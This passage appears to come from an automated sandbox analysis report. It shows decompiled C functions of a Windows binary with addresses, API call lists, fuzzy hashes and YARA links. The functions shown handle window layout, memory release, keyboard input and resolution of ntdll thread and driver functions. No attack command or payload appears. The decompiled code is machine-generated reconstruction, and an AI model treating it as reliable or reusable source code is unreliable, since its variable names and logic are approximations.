				 *((intOrPtr*)(_t131 + 0x2b4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2b8)) = 0;
				 *((intOrPtr*)(_t131 + 0x2bc)) = 0;
				 *((intOrPtr*)(_t131 + 0x2c4)) = 1;
				 *((intOrPtr*)(_t131 + 0x2c8)) = 1;
				 *((intOrPtr*)(_t131 + 0x334)) = 0x32;
				 *((intOrPtr*)(_t131 + 0x5c)) = 0xffffff;
				return E0040686C(_t131);
			}

0x004068ec
0x004068f0
0x004068f4
0x004068ff
0x00406902
0x0040690a
0x00406910
0x00406911
0x0040691b
0x0040691e
0x00406923
0x0040692d
0x0040692e
0x00406933
0x0040693d
0x00406940
0x00406949
0x0040694a
0x00406950
0x00406956
0x00406959
0x0040695c
0x00406964
0x0040696d
0x00406974
0x0040697e
0x00406989
0x00406990
0x00406998
0x0040699b
0x0040699f
0x004069b8
0x004069bc
0x004069c4
0x004069c7
0x004069c7
0x004069cb
0x004069ce
0x004069d4
0x004069d4
0x004069d9
0x004069df
0x004069e6
0x004069ea
0x004069ef
0x004069f2
0x004069f5
0x00406a00
0x00406a01
0x00406a06
0x00406a08
0x00406a0b
0x00406a10
0x00406a16
0x00406a25
0x00406a25
0x00406a18
0x00406a1e
0x00406a1e
0x00406a27
0x00406a2f
0x00406a32
0x00406a35
0x00406a3b
0x00406a41
0x00406a47
0x00406a4d
0x00406a53
0x00406a5d
0x00406a6d

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??2@YAPAXI@Z.MSVCRT ref: 0040692E
??2@YAPAXI@Z.MSVCRT ref: 0040694A
memcpy.MSVCRT ref: 0040696D
memcpy.MSVCRT ref: 0040697E
??2@YAPAXI@Z.MSVCRT ref: 00406A01
??2@YAPAXI@Z.MSVCRT ref: 00406A0B

Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,00403490), ref: 00405BC0
Part of subcall function 00405B81: LoadStringW.USER32(00000000,000001F5,?), ref: 00405C59
Part of subcall function 00405B81: memcpy.MSVCRT ref: 00405C99

Part of subcall function 00405B81: wcscpy.MSVCRT ref: 00405C02
Part of subcall function 00405B81: wcslen.MSVCRT ref: 00405C20
Part of subcall function 00405B81: GetModuleHandleW.KERNEL32(00000000,?,?,?,00403490), ref: 00405C2E

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$??2@$memcpy$HandleModule$LoadStringwcscpywcslen
String ID:
API String ID: 975042529-0
Opcode ID: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction ID: 1f3882e7c97b8b8272a376ef7761bc0b0e9511dafd47f947fc31f4e13e233f39
Opcode Fuzzy Hash: 7b5c259927b59544c1da32c87fb64e8a434fc950baf11122839f6010e947eddb
Instruction Fuzzy Hash: 53414EB1B01715AFD718DF39C88A75AFBA4FB08314F10422FE519D7691D775A8108BC8

Uniqueness

Uniqueness Score: -1.00%

Function 004097A9, Relevance: 7.6, APIs: 5, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004097A9(void* __ecx, void* __edx, void* __eflags, intOrPtr _a4) {
				int _v8;
				int _v12;
				intOrPtr _v16;
				void* _v20;
				int _v24;
				void _v56;
				char _v584;
				char _v588;
				char _v41548;
				void* __edi;
				void* _t40;
				void _t46;
				intOrPtr _t47;
				intOrPtr* _t64;
				intOrPtr* _t66;
				intOrPtr _t67;
				intOrPtr _t71;
				int _t77;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				E0040B550(0xa248, __ecx);
				_t77 = 0;
				_v8 = 0;
				E00408E31();
				_t40 =  *0x41c47c;
				if(_t40 != 0) {
					_t40 =  *_t40(5,  &_v41548, 0xa000,  &_v8);
				}
				if(_v8 == _t77) {
					_v8 = 0x186a0;
				}
				_v8 = _v8 + 0x3e80;
				_push(_v8);
				L0040B26C();
				_t81 = _t40;
				_v20 = _t81;
				memset(_t81, _t77, _v8);
				_t83 = _t82 + 0x10;
				_v24 = _t77;
				E00408E31();
				E00408F2A(0x41c47c, _t81, _v8,  &_v24);
				L5:
				while(1) {
					if( *((intOrPtr*)(_t81 + 0x3c)) == _t77) {
						L16:
						_t46 =  *_t81;
						_t77 = 0;
						if(_t46 == 0) {
							_push(_v20);
							L0040B272();
							return _t46;
						}
						_t81 = _t81 + _t46;
						continue;
					}
					_t47 = _a4;
					_t71 =  *((intOrPtr*)(_t47 + 0x34));
					_v12 = _t77;
					_v16 = _t71;
					if(_t71 <= _t77) {
						L10:
						_t66 = 0;
						L11:
						if(_t66 == 0) {
							E004090AF( &_v588);
							E00404923(0x104,  &_v584,  *((intOrPtr*)(_t81 + 0x3c)));
							_t32 = _t81 + 0x20; // 0x20
							memcpy( &_v56, _t32, 8);
							_t83 = _t83 + 0x10;
							E004099ED(_a4 + 0x28,  &_v588);
						} else {
							_t26 = _t66 + 4; // 0x4
							_t72 = _t26;
							if( *_t26 == 0) {
								E00404923(0x104, _t72,  *((intOrPtr*)(_t81 + 0x3c)));
								_t28 = _t81 + 0x20; // 0x20
								memcpy(_t66 + 0x214, _t28, 8);
								_t83 = _t83 + 0x10;
							}
						}
						goto L16;
					}
					_t67 =  *((intOrPtr*)(_t81 + 0x44));
					_t80 = _t47 + 0x28;
					while(1) {
						_t64 = E00405A92(_v12, _t80);
						if( *_t64 == _t67) {
							break;
						}
						_v12 = _v12 + 1;
						if(_v12 < _v16) {
							continue;
						}
						goto L10;
					}
					_t66 = _t64;
					goto L11;
				}
			}

0x004097b1
0x004097b9
0x004097bb
0x004097be
0x004097c3
0x004097ca
0x004097de
0x004097de
0x004097e3
0x004097e5
0x004097e5
0x004097ec
0x004097f3
0x004097f6
0x004097fe
0x00409802
0x00409805
0x0040980a
0x0040980d
0x00409810
0x00409822
0x00000000
0x00409827
0x0040982a
0x004098da
0x004098da
0x004098dc
0x004098e0
0x004098e9
0x004098ec
0x004098f6
0x004098f6
0x004098e2
0x00000000
0x004098e2
0x00409830
0x00409833
0x00409838
0x0040983b
0x0040983e
0x0040985f
0x0040985f
0x00409861
0x00409863
0x0040989e
0x004098b1
0x004098b8
0x004098c0
0x004098c5
0x004098d5
0x00409865
0x00409865
0x00409865
0x0040986c
0x00409878
0x0040987f
0x0040988a
0x0040988f
0x0040988f
0x0040986c
0x00000000
0x00409863
0x00409840
0x00409843
0x00409846
0x0040984b
0x00409852
0x00000000
0x00000000
0x00409854
0x0040985d
0x00000000
0x00000000
0x00000000
0x0040985d
0x00409894
0x00000000
0x00409894

APIs

Part of subcall function 00408E31: GetModuleHandleW.KERNEL32(ntdll.dll,?,004097C3), ref: 00408E44
Part of subcall function 00408E31: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00408E5B
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtLoadDriver), ref: 00408E6D
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00408E7F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 00408E91
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 00408EA3
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryObject), ref: 00408EB5
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtOpenThread), ref: 00408EC7
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtClose), ref: 00408ED9
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtQueryInformationThread), ref: 00408EEB
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtSuspendThread), ref: 00408EFD
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtResumeThread), ref: 00408F0F
Part of subcall function 00408E31: GetProcAddress.KERNEL32(NtTerminateThread), ref: 00408F21

??2@YAPAXI@Z.MSVCRT ref: 004097F6
memset.MSVCRT ref: 00409805
memcpy.MSVCRT ref: 0040988A
memcpy.MSVCRT ref: 004098C0
??3@YAXPAX@Z.MSVCRT ref: 004098EC

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$memcpy$??2@??3@HandleModulememset
String ID:
API String ID: 3641025914-0
Opcode ID: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction ID: bb54f3dbfe595cb11ae02f9551d523dabe65b88657fa4b418f7fa82d5da08bd9
Opcode Fuzzy Hash: 5e4299bbf46472c45a4c6d50f6a05ce4ddc252402b4fb65f630eed7603d777c4
Instruction Fuzzy Hash: BF41C172900209EFDB10EBA5C8819AEB3B9EF45304F14847FE545B3292DB78AE41CB59

Uniqueness

Uniqueness Score: -1.00%

Function 004067AC, Relevance: 7.6, APIs: 5, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E004067AC(char** __edi) {
				void* __esi;
				void* _t9;
				void** _t11;
				char** _t15;
				char** _t24;
				void* _t25;
				char* _t28;
				char* _t29;
				char* _t30;
				char* _t31;
				char** _t33;

				_t24 = __edi;
				 *__edi = "cf@";
				_t9 = E00406746(__edi);
				_t28 = __edi[5];
				if(_t28 != 0) {
					_t9 = E004055D1(_t9, _t28);
					_push(_t28);
					L0040B272();
				}
				_t29 = _t24[4];
				if(_t29 != 0) {
					_t9 = E004055D1(_t9, _t29);
					_push(_t29);
					L0040B272();
				}
				_t30 = _t24[3];
				if(_t30 != 0) {
					_t9 = E004055D1(_t9, _t30);
					_push(_t30);
					L0040B272();
				}
				_t31 = _t24[2];
				if(_t31 != 0) {
					E004055D1(_t9, _t31);
					_push(_t31);
					L0040B272();
				}
				_t15 = _t24;
				_pop(_t32);
				_push(_t24);
				_t33 = _t15;
				_t25 = 0;
				if(_t33[1] > 0 && _t33[0xd] > 0) {
					do {
						 *((intOrPtr*)( *((intOrPtr*)(E0040664E(_t33, _t25))) + 0xc))();
						_t25 = _t25 + 1;
					} while (_t25 < _t33[0xd]);
				}
				_t11 =  *( *_t33)();
				free( *_t11);
				return _t11;
			}

0x004067ac
0x004067af
0x004067b5
0x004067ba
0x004067bf
0x004067c1
0x004067c6
0x004067c7
0x004067cc
0x004067cd
0x004067d2
0x004067d4
0x004067d9
0x004067da
0x004067df
0x004067e0
0x004067e5
0x004067e7
0x004067ec
0x004067ed
0x004067f2
0x004067f3
0x004067f8
0x004067fa
0x004067ff
0x00406800
0x00406805
0x00406806
0x00406808
0x0040680f
0x00406810
0x00406812
0x00406817
0x0040681e
0x00406828
0x0040682b
0x0040682c
0x0040681e
0x00406835
0x00406839
0x00406841

APIs

Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406752
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406760
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406771
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406788
Part of subcall function 00406746: ??3@YAXPAX@Z.MSVCRT ref: 00406791

??3@YAXPAX@Z.MSVCRT ref: 004067C7
??3@YAXPAX@Z.MSVCRT ref: 004067DA
??3@YAXPAX@Z.MSVCRT ref: 004067ED
??3@YAXPAX@Z.MSVCRT ref: 00406800
free.MSVCRT(00000000), ref: 00406839

Part of subcall function 004055D1: free.MSVCRT(?,00405843,00000000,?,00000000), ref: 004055DA

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@$free
String ID:
API String ID: 2241099983-0
Opcode ID: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction ID: 35b4881f8254e3ed5d778deec4dde62c4732b660dc94e1daad4ca6c431b67ac1
Opcode Fuzzy Hash: fae72e90abf19a0f598a0744b86edfa2e5e81d8d411ebeda80197a1c121c0671
Instruction Fuzzy Hash: 4E010233902D209BCA217B2A950541FB395FE82B24316807FE802772C5CF38AC618AED

Uniqueness

Uniqueness Score: -1.00%

Function 00405CF8, Relevance: 7.5, APIs: 5, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405CF8(void* __esi, struct HWND__* _a4, signed int _a8) {
				intOrPtr _v12;
				struct tagPOINT _v20;
				struct tagRECT _v36;
				int _t27;
				struct HWND__* _t30;
				struct HWND__* _t32;

				_t30 = _a4;
				if((_a8 & 0x00000001) != 0) {
					_t32 = GetParent(_t30);
					GetWindowRect(_t30,  &_v20);
					GetClientRect(_t32,  &_v36);
					MapWindowPoints(0, _t32,  &_v20, 2);
					_t27 = _v36.right - _v12 - _v36.left;
					_v20.x = _t27;
					SetWindowPos(_t30, 0, _t27, _v20.y, 0, 0, 5);
				}
				if((_a8 & 0x00000002) != 0) {
					E00404FBB(_t30);
				}
				return 1;
			}

0x00405d03
0x00405d06
0x00405d10
0x00405d17
0x00405d22
0x00405d32
0x00405d40
0x00405d48
0x00405d4e
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00405d67

APIs

GetParent.USER32(?), ref: 00405D0A
GetWindowRect.USER32 ref: 00405D17
GetClientRect.USER32 ref: 00405D22
MapWindowPoints.USER32 ref: 00405D32
SetWindowPos.USER32(?,00000000,?,00000001,00000000,00000000,00000005), ref: 00405D4E

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Rect$ClientParentPoints
String ID:
API String ID: 4247780290-0
Opcode ID: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction ID: c328b93d85e4c90ccc2b92edbac8192aeb41fc184e748709fb0c9a3f9f2b3a5a
Opcode Fuzzy Hash: a641cd19a410ed6a125ee0f2f41aa3775212a32dac042a11be58197803c42fc2
Instruction Fuzzy Hash: 41012932801029BBDB119BA59D8DEFFBFBCEF46750F04822AF901A2151D73895028BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004083DC, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004083DC(void* __eax, int __ebx, void* _a4) {
				signed int _v8;
				signed int _v12;
				void* _v16;
				void* _t20;
				void* _t21;
				signed int _t28;
				void* _t32;
				void* _t34;

				_t20 = __eax;
				_v12 = _v12 & 0x00000000;
				_push(__ebx);
				_t28 = __eax - 1;
				L0040B26C();
				_v16 = __eax;
				if(_t28 > 0) {
					_t21 = _a4;
					_v8 = __ebx;
					_v8 =  ~_v8;
					_t32 = _t28 * __ebx + _t21;
					_a4 = _t21;
					do {
						memcpy(_v16, _a4, __ebx);
						memcpy(_a4, _t32, __ebx);
						_t20 = memcpy(_t32, _v16, __ebx);
						_a4 = _a4 + __ebx;
						_t32 = _t32 + _v8;
						_t34 = _t34 + 0x24;
						_v12 = _v12 + 1;
						_t28 = _t28 - 1;
					} while (_t28 > _v12);
				}
				_push(_v16);
				L0040B272();
				return _t20;
			}

0x004083dc
0x004083e2
0x004083e9
0x004083ea
0x004083eb
0x004083f3
0x004083f6
0x004083f8
0x00408401
0x00408404
0x00408407
0x00408409
0x0040840c
0x00408413
0x0040841d
0x00408427
0x0040842c
0x0040842f
0x00408432
0x00408435
0x00408438
0x00408439
0x0040843e
0x0040843f
0x00408442
0x0040844a

APIs

??2@YAPAXI@Z.MSVCRT ref: 004083EB
memcpy.MSVCRT ref: 00408413
memcpy.MSVCRT ref: 0040841D
memcpy.MSVCRT ref: 00408427
??3@YAXPAX@Z.MSVCRT ref: 00408442

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$??2@??3@
String ID:
API String ID: 1252195045-0
Opcode ID: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction ID: 529a25ebd12540bef40c4bbbf5f662c822a20cdbd1f214c79cf6c3b5efc5d95d
Opcode Fuzzy Hash: ae14ed78cb3b9c7a1656bdd7c9bb9ccf218141e25ab2435f791856beeb738110
Instruction Fuzzy Hash: 61017176C0410CBBCF006F99D8859DEBBB8EF40394F1080BEF80476161D7355E519B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406746, Relevance: 7.5, APIs: 5, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00406746(void* __esi) {
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr _t11;
				intOrPtr* _t18;
				void* _t19;

				_t19 = __esi;
				_t9 =  *((intOrPtr*)(__esi + 0x30));
				if(_t9 != 0) {
					_push(_t9);
					L0040B272();
				}
				_t10 =  *((intOrPtr*)(_t19 + 0x40));
				if(_t10 != 0) {
					_push(_t10);
					L0040B272();
				}
				_t11 =  *((intOrPtr*)(_t19 + 0x2d4));
				if(_t11 != 0) {
					_push(_t11);
					L0040B272();
				}
				_t18 =  *((intOrPtr*)(_t19 + 0x2c0));
				if(_t18 != 0) {
					_t11 =  *_t18;
					if(_t11 != 0) {
						_push(_t11);
						L0040B272();
						 *_t18 = 0;
					}
					_push(_t18);
					L0040B272();
				}
				 *((intOrPtr*)(_t19 + 0x2c0)) = 0;
				 *((intOrPtr*)(_t19 + 0x30)) = 0;
				 *((intOrPtr*)(_t19 + 0x40)) = 0;
				 *((intOrPtr*)(_t19 + 0x2d4)) = 0;
				return _t11;
			}

0x00406746
0x00406746
0x0040674f
0x00406751
0x00406752
0x00406757
0x00406758
0x0040675d
0x0040675f
0x00406760
0x00406765
0x00406766
0x0040676e
0x00406770
0x00406771
0x00406776
0x00406777
0x0040677f
0x00406781
0x00406785
0x00406787
0x00406788
0x0040678e
0x0040678e
0x00406790
0x00406791
0x00406796
0x00406798
0x0040679e
0x004067a1
0x004067a4
0x004067ab

APIs

??3@YAXPAX@Z.MSVCRT ref: 00406752
??3@YAXPAX@Z.MSVCRT ref: 00406760
??3@YAXPAX@Z.MSVCRT ref: 00406771
??3@YAXPAX@Z.MSVCRT ref: 00406788
??3@YAXPAX@Z.MSVCRT ref: 00406791

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction ID: 2146815d826ad61a6329a34e2799f13692f9223f7a0132405705f454cb51ab02
Opcode Fuzzy Hash: 086bdf89973be9db751c02ba5940a011d1fc21caf14060528ff21e4da5d0ecd6
Instruction Fuzzy Hash: E1F0ECB2504701DBDB24AE7D99C881FA7E9BB05318B65087FF14AE3680C738B850461C

Uniqueness

Uniqueness Score: -1.00%

Function 0040ABA5, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0040ABA5(intOrPtr __ecx, void* __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				struct HDWP__* _v8;
				intOrPtr _v12;
				void* __ebx;
				intOrPtr _t37;
				intOrPtr _t42;
				RECT* _t44;

				_push(__ecx);
				_push(__ecx);
				_t42 = __ecx;
				_v12 = __ecx;
				if(_a4 != 5) {
					if(_a4 != 0xf) {
						if(_a4 == 0x24) {
							_t37 = _a12;
							 *((intOrPtr*)(_t37 + 0x18)) = 0xc8;
							 *((intOrPtr*)(_t37 + 0x1c)) = 0xc8;
						}
					} else {
						E00402EC8(__ecx + 0x378);
					}
				} else {
					_v8 = BeginDeferWindowPos(3);
					_t44 = _t42 + 0x378;
					E00402E22(_t44, _t21, 0x65, 0, 0, 1, 1);
					E00402E22(_t44, _v8, 1, 1, 1, 0, 0);
					E00402E22(_t44, _v8, 2, 1, 1, 0, 0);
					EndDeferWindowPos(_v8);
					InvalidateRect( *(_t44 + 0x10), _t44, 1);
					_t42 = _v12;
				}
				return E00402CED(_t42, _a4, _a8, _a12);
			}

0x0040aba8
0x0040aba9
0x0040abb0
0x0040abb2
0x0040abb5
0x0040ac19
0x0040ac2c
0x0040ac2e
0x0040ac36
0x0040ac39
0x0040ac39
0x0040ac1b
0x0040ac21
0x0040ac21
0x0040abb7
0x0040abcb
0x0040abce
0x0040abd7
0x0040abe6
0x0040abf6
0x0040abfe
0x0040ac09
0x0040ac0f
0x0040ac12
0x0040ac4f

APIs

BeginDeferWindowPos.USER32(00000003), ref: 0040ABBA

Part of subcall function 00402E22: GetDlgItem.USER32 ref: 00402E32
Part of subcall function 00402E22: GetClientRect.USER32 ref: 00402E44
Part of subcall function 00402E22: DeferWindowPos.USER32 ref: 00402EB4

EndDeferWindowPos.USER32(?), ref: 0040ABFE
InvalidateRect.USER32(?,?,00000001), ref: 0040AC09

Strings

$, xrefs: 0040AC28

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: DeferWindow$Rect$BeginClientInvalidateItem
String ID: $
API String ID: 2498372239-3993045852
Opcode ID: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction ID: c4de0c57513a3fc8bb763215dcca23c205eee760976c5819edcd99f4220bed98
Opcode Fuzzy Hash: 3646c4f7f2df3bce7363561434de74107494107a1dc9a7f0debf38e758269ced
Instruction Fuzzy Hash: 9A11ACB1544208FFEB229F51CD88DAF7A7CEB85788F10403EF8057A280C6758E52DBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403A73, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54
keyboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403A73(void* __esi, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t14;

				if(_a8 == 0x100 && _a12 == 0x41) {
					GetKeyState(0xa2);
					if(E00403A60(0xa2) != 0 || E00403A60(0xa3) != 0) {
						if(E00403A60(0xa0) == 0 && E00403A60(0xa1) == 0 && E00403A60(0xa4) == 0) {
							_t14 = E00403A60(0xa5);
							if(_t14 == 0) {
								SendMessageW(_a4, 0xb1, _t14, 0xffffffff);
							}
						}
					}
				}
				return CallWindowProcW( *0x40f2f0, _a4, _a8, _a12, _a16);
			}

0x00403a7d
0x00403a8c
0x00403a9c
0x00403aba
0x00403adf
0x00403ae7
0x00403af4
0x00403af4
0x00403ae7
0x00403aba
0x00403a9c
0x00403b13

APIs

GetKeyState.USER32(000000A2), ref: 00403A8C

Part of subcall function 00403A60: GetKeyState.USER32(?), ref: 00403A64

SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00403AF4
CallWindowProcW.USER32(?,00000100,?,?), ref: 00403B0C

Strings

A, xrefs: 00403A7F

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: State$CallMessageProcSendWindow
String ID: A
API String ID: 3924021322-3554254475
Opcode ID: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction ID: 3f4bab65c8f2f559ff61c6136e8e970ba349fdfc906a465d58382778652fa82c
Opcode Fuzzy Hash: 7a91954c753d57b62ada695ad1095f0bf88fde31d04a203a00175be824b18610
Instruction Fuzzy Hash: AC01483130430AAEFF11DFE59D02ADA3A5CAF15327F114036FA96B81D1DBB887506E59

Uniqueness

Uniqueness Score: -1.00%

Function 004034F0, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E004034F0(void* __ecx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v20;
				char _v1072;
				void _v3672;
				char _v4496;
				intOrPtr _v4556;
				char _v4560;
				void* __edi;
				void* __esi;
				intOrPtr* _t41;
				void* _t45;

				_t45 = __eflags;
				E0040B550(0x11cc, __ecx);
				E00402923( &_v4560);
				_v4560 = 0x40db44;
				E00406670( &_v4496, _t45);
				_v4496 = 0x40dab0;
				memset( &_v3672, 0, 0x10);
				E0040A909( &_v1072);
				_t41 = _a4;
				_v4556 = 0x71;
				if(E00402CD5( &_v4560,  *((intOrPtr*)(_t41 + 0x10))) != 0) {
					L0040B266();
					 *((intOrPtr*)( *_t41 + 4))(1, _v20, _t41 + 0x5b2c, 0xa);
				}
				_v4496 = 0x40dab0;
				_v4560 = 0x40db44;
				E004067AC( &_v4496);
				return E00402940( &_v4560);
			}

0x004034f0
0x004034f8
0x00403506
0x00403516
0x0040351c
0x00403531
0x00403537
0x00403545
0x0040354a
0x00403556
0x00403567
0x00403575
0x00403583
0x00403583
0x00403586
0x00403592
0x00403598
0x004035ac

APIs

Part of subcall function 00402923: memset.MSVCRT ref: 00402935

Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066B9
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 004066E0
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406701
Part of subcall function 00406670: ??2@YAPAXI@Z.MSVCRT ref: 00406722

memset.MSVCRT ref: 00403537
_ultow.MSVCRT ref: 00403575

Strings

q, xrefs: 00403556
cf@, xrefs: 0040352B

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset$_ultow
String ID: cf@$q
API String ID: 3448780718-2693627795
Opcode ID: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction ID: aa1ed1bb2df2d11c17fc3d40a8ec787ac421495c908f782690464d4e039b4fd8
Opcode Fuzzy Hash: 5a770fb105266b5f281bf636f392918a38755f6c8491aba89f246a667f584aac
Instruction Fuzzy Hash: 73113079A402186ACB24AB55DC41BCDB7B4AF45304F0084BAEB09771C1D7796E888FD8

Uniqueness

Uniqueness Score: -1.00%

Function 00407E24, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00407E24(intOrPtr* __ecx, intOrPtr _a4) {
				void _v514;
				signed short _v516;
				void _v1026;
				signed short _v1028;
				void* __esi;
				void* _t17;
				intOrPtr* _t26;
				signed short* _t28;

				_v516 = _v516 & 0x00000000;
				_t26 = __ecx;
				memset( &_v514, 0, 0x1fc);
				_v1028 = _v1028 & 0x00000000;
				memset( &_v1026, 0, 0x1fc);
				_t17 =  *((intOrPtr*)( *_t26 + 0x24))();
				_t28 =  &_v516;
				E00407250(_t28, _t17);
